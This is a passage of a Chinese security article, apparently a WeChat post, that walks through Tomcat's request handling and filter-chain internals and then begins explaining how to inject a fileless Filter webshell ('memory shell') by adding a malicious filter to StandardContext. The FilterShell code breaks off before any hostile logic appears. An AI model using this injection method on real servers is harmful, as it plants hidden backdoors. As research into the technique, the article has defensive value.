47);">Adaptor：负责将解析后的<span style="font-size: 15px;font-family: Calibri;">org.apache.coyote.Request</span>对象或<span style="font-size: 15px;font-family: Calibri;">Response</span>对象，适配为可供<span style="font-size: 15px;font-family: Calibri;">Container</span>调用的继承了<span style="font-size: 15px;font-family: Calibri;">ServletRequest</span>接口、<span style="font-size: 15px;font-family: Calibri;">ServletResponse</span>接口的对象。</span></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);"><br/></span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  请求经Connector处理完毕后，传递给<span style="font-size: 15px;font-family: Calibri;">Container</span>进行处理：</span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="365" data-backw="554" data-ratio="0.6588447653429603" data-s="300,640" style="width: 100%;height: auto;display: inline;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=1cd2d7c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1vIZJ9ibQ7FmIvROhColsn3kX8h4oasxjuztOEhOWRR931ibIYMkH9pfw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图7  Engine架构</span><br/></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;color: rgb(47, 47, 47);"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="167" data-backw="554" data-ratio="0.30144404332129965" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=77f778a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1MWvAW6oLuJTAfPKU5YsTbuoSFBhfcvj4O2NSueT3Kn8WdfdibL1DkFA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图8  Engine配置细节</span><br/></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);"> </span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  在Engine当中，存在以下几个逐层包含的组件：</span></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  Host：代表一个虚拟主机</span></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  Context：代表<span style="font-size: 15px;font-family: Calibri;">Webapps</span>（默认应用文件夹，可更改<span style="font-size: 15px;font-family: Calibri;">)</span>里单独某个<span style="font-size: 15px;font-family: Calibri;">Web</span>应用，与<span style="font-size: 15px;font-family: Calibri;">/WEB-INF/web.xml</span>相对应</span></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  Wrapper：每个<span style="font-size: 15px;font-family: Calibri;">Wrapper</span>中封装了一个<span style="font-size: 15px;font-family: Calibri;">Servlet</span></span></p><p style="text-indent: 28px;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);"> </span></p><p style="line-height: 150%;"><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;font-family: 宋体;"><span style="font-size: 15px;font-family: 宋体;">  我们可以在配置文件中窥探出</span>Tomcat<span style="font-size: 15px;font-family: 宋体;">架构其一角，</span><span style="font-size: 15px;font-family: Calibri;">Engine</span><span style="font-size: 15px;font-family: 宋体;">可拥有多个</span><span style="font-size: 15px;font-family: Calibri;">Host</span><span style="font-size: 15px;font-family: 宋体;">，代表不同的虚拟主机，使得</span><span style="font-size: 15px;font-family: Calibri;">Tomcat</span><span style="font-size: 15px;font-family: 宋体;">具备承担多个域名服务的能力，图</span><span style="font-size: 15px;font-family: Calibri;">8</span><span style="font-size: 15px;font-family: 宋体;">标签中的</span></span><span style="font-size: 15px;font-family: Calibri;">”</span><span style="font-size: 15px;font-family: 宋体;">appBase</span><span style="font-size: 15px;font-family: Calibri;">”</span><span style="font-size: 15px;font-family: 宋体;"><span style="font-size: 15px;font-family: 宋体;">指代放置</span>Web<span style="font-size: 15px;font-family: 宋体;">应用项目的文件夹名称，</span></span><span style="font-size: 15px;font-family: Calibri;">”</span><span style="font-size: 15px;font-family: 宋体;">autoDeploy</span><span style="font-size: 15px;font-family: Calibri;">”</span><span style="font-size: 15px;font-family: 宋体;"><span style="font-size: 15px;font-family: 宋体;">指代是否开启</span>WAR<span style="font-size: 15px;font-family: 宋体;">包的自动装配功能</span></span></span></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="930" data-backw="292" data-ratio="3.184931506849315" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="292" src="https://wechat2rss.xlab.app/img-proxy/?k=974ebb02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1z4EA3XlHXMYFrFMSicTMq6b9lZFcjwBe3JqozvmIXPFH8zZIvib0PMTw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图9  PipeLine处理流程</span><br/></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  </span></p><p style="line-height: 150%;"><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;font-family: 宋体;">  在Container中，使用</span><span style="font-size: 15px;font-family: Calibri;">PipeLine-Value</span><span style="font-size: 15px;font-family: 宋体;">管道的方式处理请求，包含以下四个子容器：</span></span></p><p style="line-height: 150%;"><span style="font-family: 微软雅黑;line-height: 150%;background: rgb(255, 255, 255);font-size: 15px;color: rgb(47, 47, 47);letter-spacing: 0.5px;">StandardEngineValue --&gt; StandardHostValue --&gt; StandardContextValue --&gt; StandardWrapperValue</span></p><p style="line-height: 150%;"><span style="font-family: 微软雅黑;line-height: 150%;letter-spacing: 0px;background: rgb(255, 255, 255);font-size: 15px;color: rgb(47, 47, 47);">    当执行到最后的StandardWrapperValue时，将通过ApplicationFilterFactory对象的createFilterChain()方法，创建FilterChain(过滤链)，并调用FilterChain.doFilter()方法，对请求进行过滤操作。</span></p><p style="line-height: 150%;"><span style="font-family: 微软雅黑;line-height: 150%;color: rgb(62, 62, 62);letter-spacing: 0px;background: rgb(255, 255, 255);font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="269" data-backw="554" data-ratio="0.4855595667870036" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=568b0ede&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1X7ZNv5KteAxmyor7Czm9dydCB6p1cTXtQSqiaeoUCDb3SnbHY6X5iafA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;font-family: 宋体;"><span style="font-size: 15px;font-family: 宋体;">图</span>10  </span><span style="font-size: 15px;font-family: 微软雅黑;line-height: 150%;letter-spacing: 0px;background: rgb(255, 255, 255);">createFilterChain()方法</span></span><br/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 微软雅黑;line-height: 150%;letter-spacing: 0px;background: rgb(255, 255, 255);font-size: 15px;color: rgb(47, 47, 47);"><br/></span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  综上所述，当客户端发起请求后，首先来到Connector组件，完成底层<span style="font-size: 15px;font-family: Calibri;">TCP/IP</span>协议、应用层协议的解析工作，生成<span style="font-size: 15px;font-family: Calibri;">org.apache.coyote.Request</span>对象，并将请求路径、请求头部、请求参数等数据保存其中，随后通过<span style="font-size: 15px;font-family: Calibri;">Adaptor</span>组件适配为继承了<span style="font-size: 15px;font-family: Calibri;">javax.servlet.ServletRequest</span>接口的<span style="font-size: 15px;font-family: Calibri;">Request</span>对象，根据请求信息交由对应的域名<span style="font-size: 15px;font-family: Calibri;">(Host)</span>、对应的<span style="font-size: 15px;font-family: Calibri;">Context(Web</span>应用程序<span style="font-size: 15px;font-family: Calibri;">)</span>、对应的<span style="font-size: 15px;font-family: Calibri;">Wrapper(Filter</span>过滤链和<span style="font-size: 15px;font-family: Calibri;">Servlet)</span>进行处理并响应，当响应处理完成后，最终交由<span style="font-size: 15px;font-family: Calibri;">Connector</span>返回给客户端。</span></p><p style="line-height: 150%;"><span style="font-family: 微软雅黑;line-height: 150%;letter-spacing: 0px;background: rgb(255, 255, 255);font-size: 15px;color: rgb(47, 47, 47);">  以上概念及流程叙述完毕，话不多说，开启IDEA调试跟我一起看看代码细节。</span></p><p style="line-height: 150%;"><span style="font-family: 微软雅黑;line-height: 150%;color: rgb(62, 62, 62);letter-spacing: 0px;background: rgb(255, 255, 255);font-size: 15px;"> </span></p><p><span style="font-size: 15px;"><strong><span style="font-family: 宋体;font-weight: bold;">四、</span><strong><span style="font-family: 宋体;">Filter<span style="font-family: 宋体;">实例及其映射存储在何处？</span></span></strong></strong></span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-size: 15px;font-family: 宋体;"> </span><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;font-family: 宋体;"> <span style="font-size: 15px;font-family: 宋体;">是否记得在第二点</span></span><span style="font-size: 15px;font-family: Calibri;">”</span><span style="font-size: 15px;font-family: 宋体;">Filter<span style="font-size: 15px;font-family: 宋体;">如何被创建</span></span><span style="font-size: 15px;font-family: Calibri;">”</span><span style="font-size: 15px;font-family: 宋体;"><span style="font-size: 15px;font-family: 宋体;">中所提及的，</span>Filter<span style="font-size: 15px;font-family: 宋体;">一般在</span><span style="font-size: 15px;font-family: Calibri;">web.xml</span><span style="font-size: 15px;font-family: 宋体;">中进行配置，而继承了</span><span style="font-size: 15px;font-family: Calibri;">org.apache.cataline.Context</span><span style="font-size: 15px;font-family: 宋体;">接口的</span><span style="font-size: 15px;font-family: Calibri;">org.apache.catalina.core.StandardContext</span><span style="font-size: 15px;font-family: 宋体;">容器类负责存储整个</span><span style="font-size: 15px;font-family: Calibri;">Web</span><span style="font-size: 15px;font-family: 宋体;">应用程序的数据和对象，并加载了</span><span style="font-size: 15px;font-family: Calibri;">web.xml</span><span style="font-size: 15px;font-family: 宋体;">中配置的多个</span><span style="font-size: 15px;font-family: Calibri;">Servlet</span><span style="font-size: 15px;font-family: 宋体;">、</span><span style="font-size: 15px;font-family: Calibri;">Filter</span><span style="font-size: 15px;font-family: 宋体;">对象以及它们的映射关系，因而我们可以从</span><span style="font-size: 15px;font-family: Calibri;">StandardContext</span><span style="font-size: 15px;font-family: 宋体;">容器类中着手。</span></span></span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;color: rgb(47, 47, 47);"> </span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  跟进StandardContext容器类的代码可以发现，与<span style="font-size: 15px;font-family: Calibri;">Filter</span>有关的成员变量有以下三个：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer" style="font-size: 15px;">private HashMap&lt;String, ApplicationFilterConfig&gt; filterConfigs = new HashMap();</span></code></pre></section><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-size: 15px;font-family: Calibri;"> </span><span style="letter-spacing: 1px;font-size: 15px;color: rgb(47, 47, 47);"><span style="letter-spacing: 1px;font-size: 15px;font-family: Calibri;"> filterConfigs </span><span style="letter-spacing: 1px;font-size: 15px;font-family: 宋体;"><span style="letter-spacing: 1px;font-size: 15px;font-family: 宋体;">变量存储了</span>filter<span style="letter-spacing: 1px;font-size: 15px;font-family: 宋体;">名称与相应的</span></span><span style="letter-spacing: 1px;font-size: 15px;font-family: Calibri;">ApplicationFilterConfig</span><span style="letter-spacing: 1px;font-size: 15px;font-family: 宋体;">对象，在</span><span style="letter-spacing: 1px;font-size: 15px;font-family: Calibri;">ApplicationFilterConfig</span><span style="letter-spacing: 1px;font-size: 15px;font-family: 宋体;"><span style="letter-spacing: 1px;font-size: 15px;font-family: 宋体;">对象中则存储了</span>Filter<span style="letter-spacing: 1px;font-size: 15px;font-family: 宋体;">实例以及该实例在</span><span style="letter-spacing: 1px;font-size: 15px;font-family: Calibri;">web.xml</span><span style="letter-spacing: 1px;font-size: 15px;font-family: 宋体;">中的注册信息</span></span></span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="164" data-backw="554" data-ratio="0.296028880866426" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=5c8481c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF14iajb7lZdQ5aCTiaqCO00BBIUm3ljkZhNSJPyVWjvvlZQva00DRMwZCg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;color: rgb(47, 47, 47);font-family: 宋体;"><span style="font-size: 15px;font-family: 宋体;">图</span>11  </span><span style="font-size: 15px;font-family: Calibri;">ApplicationFilterConfig</span><span style="font-size: 15px;font-family: 宋体;">类</span></span><br/></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer" style="font-size: 15px;">private HashMap&lt;String, FilterDef&gt; filterDefs = new HashMap();</span></code></pre></section><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-size: 15px;font-family: Calibri;">  </span><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;font-family: Calibri;">filterDefs </span><span style="font-size: 15px;color: rgb(47, 47, 47);font-family: 宋体;"><span style="font-size: 15px;font-family: 宋体;">变量存储了</span>filter<span style="font-size: 15px;font-family: 宋体;">名称与相应</span><span style="font-size: 15px;font-family: Calibri;">FilterDef</span><span style="font-size: 15px;font-family: 宋体;">的对象，而</span></span><span style="font-size: 15px;font-family: Calibri;">FilterDef</span><span style="font-size: 15px;font-family: 宋体;"><span style="font-size: 15px;font-family: 宋体;">对象则存储了</span>Filter<span style="font-size: 15px;font-family: 宋体;">包括名称、描述、类名、</span><span style="font-size: 15px;font-family: Calibri;">Filter</span><span style="font-size: 15px;font-family: 宋体;">实例在内等与</span><span style="font-size: 15px;font-family: Calibri;">filter</span><span style="font-size: 15px;font-family: 宋体;">自身相关的数据</span></span></span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="266" data-backw="554" data-ratio="0.48014440433212996" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=f4413907&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1XRleiaInj4eKic48QOwv5OeGATKwCbPyb2SKIAEbMUoH3WubTTUrbWpA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-size: 15px;"><span style="font-family: 宋体;"><span style="font-family: 宋体;">图</span>12  </span><span style="font-family: Calibri;">FilterDef</span><span style="font-family: 宋体;">类</span></span><br/></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer" style="font-size: 15px;">private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();</span></code></pre></section><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="210" data-backw="554" data-ratio="0.37906137184115524" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=4d27b03f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1ibkvzPZxKqUllPbE0icRKTKrstYgXYlmn5vlfSRYIClp2R32jGNFtyYA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图13  filterMaps集合</span><br/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;color: rgb(47, 47, 47);"> </span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-size: 15px;font-family: Calibri;"> </span><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;font-family: Calibri;">filterMaps </span><span style="font-size: 15px;font-family: 宋体;"><span style="font-size: 15px;font-family: 宋体;">中的</span>FilterMap<span style="font-size: 15px;font-family: 宋体;">则记录了不同</span><span style="font-size: 15px;font-family: Calibri;">filter</span><span style="font-size: 15px;font-family: 宋体;">与</span><span style="font-size: 15px;font-family: Calibri;">UrlPattern</span><span style="font-size: 15px;font-family: 宋体;">的映射关系</span></span></span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">小结一下：</span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);"> filterMaps变量：含有所有<span style="font-size: 15px;font-family: Calibri;">filter</span>的<span style="font-size: 15px;font-family: Calibri;">URL</span>映射关系</span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;font-family: Calibri;">    filterDefs</span><span style="font-size: 15px;font-family: 宋体;">变量：</span><span style="font-size: 15px;font-family: Calibri;"> </span><span style="font-size: 15px;font-family: 宋体;"><span style="font-size: 15px;font-family: 宋体;">含有所有</span>filter<span style="font-size: 15px;font-family: 宋体;">包括实例在内等变量</span></span></span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-size: 15px;color: rgb(47, 47, 47);"><span style="font-size: 15px;font-family: Calibri;">    filterConfigs </span><span style="font-size: 15px;font-family: 宋体;"><span style="font-size: 15px;font-family: 宋体;">变量：含有所有与</span>filter<span style="font-size: 15px;font-family: 宋体;">对应的</span><span style="font-size: 15px;font-family: Calibri;">filterDef</span><span style="font-size: 15px;font-family: 宋体;">信息及</span><span style="font-size: 15px;font-family: Calibri;">filter</span><span style="font-size: 15px;font-family: 宋体;">实例，并对</span><span style="font-size: 15px;font-family: Calibri;">filter</span><span style="font-size: 15px;font-family: 宋体;">进行管理</span></span></span></p><p style="text-autospace:ideograph-numeric;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><p><span style="font-size: 15px;"><strong><span style="font-family: 宋体;font-weight: bold;">五、</span><strong><span style="font-family: 宋体;">FilterChain<span style="font-family: 宋体;">过滤链的创建及调用过程？</span></span></strong></strong></span></p><p><span style="font-size: 15px;"><strong><strong><span style="font-family: 宋体;"><br/></span></strong></strong></span></p><section style="line-height: 1.5em;"><span style="font-family: 宋体;letter-spacing: 1px;font-size: 15px;color: rgb(47, 47, 47);">续接上述内容，我们来看</span></section><section style="line-height: 1.5em;"><span style="font-size: 15px;font-family: 宋体;letter-spacing: 1px;color: rgb(47, 47, 47);">org.apache.catalina.core.ApplicationFilterChain#createFilterChain()，FilterChain的创建过程。</span></section><p style="line-height: 150%;"><br/></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="261" data-backw="554" data-ratio="0.4711191335740072" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=607545a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1kofvicEr2WoaWvZaT4lC260N7bkCbyNrib6Mm02SHibauT5dxTU66rMlA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-size: 15px;font-family: 宋体;color: rgb(47, 47, 47);">图14  createFilterChain()方法入口</span><br/></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="279" data-backw="554" data-ratio="0.5036101083032491" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=986d48d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1AibInM0vKiawyBhrMOVmJHCqKSuzR1bp5zNibdLxsmQNJibd0a2l7tjqrw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图15  createFilterChain()方法细节</span><br/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;color: rgb(47, 47, 47);"> </span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  获取StandardContext对象，关键部分在第二红框内，遍历<span style="font-size: 15px;font-family: Calibri;">StandardContext.filterMaps</span>得到<span style="font-size: 15px;font-family: Calibri;">filter</span>与<span style="font-size: 15px;font-family: Calibri;">URL</span>的映射关系并通过<span style="font-size: 15px;font-family: Calibri;">matchDispatcher()</span>、<span style="font-size: 15px;font-family: Calibri;">matchFilterURL()</span>方法进行匹配，匹配成功后，还需判断<span style="font-size: 15px;font-family: Calibri;">StandardContext.filterConfigs</span>中，是否存在对应<span style="font-size: 15px;font-family: Calibri;">filter</span>的实例，当实例不为空时通过<span style="font-size: 15px;font-family: Calibri;">addFilter</span>方法，将管理<span style="font-size: 15px;font-family: Calibri;">filter</span>实例的<span style="font-size: 15px;font-family: Calibri;">filterConfig</span>添加入<span style="font-size: 15px;font-family: Calibri;">filterChain</span>对象中。</span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="308" data-backw="553" data-ratio="0.5569620253164557" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=924ad25b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF157icP8xrR7PHp27DdU2GnVKcVU5tK9HiaBAwxILBMZjEWyrnEZtiaFYNQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图16  调用过滤链</span><br/></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);"> </span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  当遍历结束后，返回filterChain对象至<span style="font-size: 15px;font-family: Calibri;">StandardWrapperValue</span>实例，并调用<span style="font-size: 15px;font-family: Calibri;">filterChain.doFilter()</span>方法，对请求或响应进行过滤操作。</span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><p><span style="font-size: 15px;"><strong><span style="font-family: 宋体;font-weight: bold;">六、</span><strong><span style="font-family: 宋体;">Filter<span style="font-family: 宋体;">内存马的注入</span></span></strong></strong></span></p><p style="text-indent:28px;"><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;color: rgb(47, 47, 47);">花了老半天功夫终于来到了最关心的地方。经过一系列分析，得知createFilterChain()通过遍历<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filterMaps</span>，根据请求的<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">URL</span>在<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filterMaps</span>中匹配<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filter</span>，并在<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filterConfigs</span>中找到<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filter</span>的实例，最终创建<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filterChain</span>。因此，我们只需要向<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">StandardContext</span>实例的<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filterMaps</span>、<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filterDefs</span>、<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filterConfigs</span>中添加恶意<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">Filter</span>相关参数，即可完成<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">Filter</span>马的注入。</span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="49" data-source-title="https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg"><section class="js_blockquote_digest"><p>借鉴于potatso前辈《tomcat结合shiro无文件webshell的技术研究以及检测方法》</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3E%E5%80%9F%E9%89%B4%E4%BA%8Epotatso%E5%89%8D%E8%BE%88%E3%80%8Atomcat%E7%BB%93%E5%90%88shiro%E6%97%A0%E6%96%87%E4%BB%B6webshell%E7%9A%84%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%BB%A5%E5%8F%8A%E6%A3%80%E6%B5%8B%E6%96%B9%E6%B3%95%E3%80%8B%3C%2Fp%3E%22%2C%22digestLen%22%3A49%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fmp.weixin.qq.com%2Fs%2FfFYTRrSMjHnPBPIaVn9qMg%22%7D"><span class="blockquote_other"><a href="https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg" target="_blank">https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg</a></span></section></blockquote><section class="js_blockquote_digest" style="color: rgb(154, 154, 154);font-size: 15px;white-space: normal;"><p><span style="color: rgb(47, 47, 47);"><span style="font-family: 宋体;">1.编写恶意Filter类，转化为字节码并进行</span><span style="font-family: Calibri;">Base64</span><span style="font-family: 宋体;">编码（</span><span style="font-family: Calibri;">java8</span><span style="font-family: 宋体;">后提供</span><span style="font-family: Calibri;">java.util.Base64</span><span style="font-family: 宋体;">）</span></span><br/></p></section><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">import javax.servlet.*;</span></code><code><span class="code-snippet_outer">import javax.servlet.http.HttpServletRequest;</span></code><code><span class="code-snippet_outer">import javax.servlet.http.HttpServletResponse;</span></code><code><span class="code-snippet_outer">import java.io.IOException;</span></code><code><span class="code-snippet_outer">import java.io.InputStream;</span></code><code><span class="code-snippet_outer">import java.util.Scanner;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public class FilterShell implements Filter{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public void init(FilterConfig filterConfig) throws ServletException {</span></code><code><span class="code-snippet_outer">    }</span></code><code><span 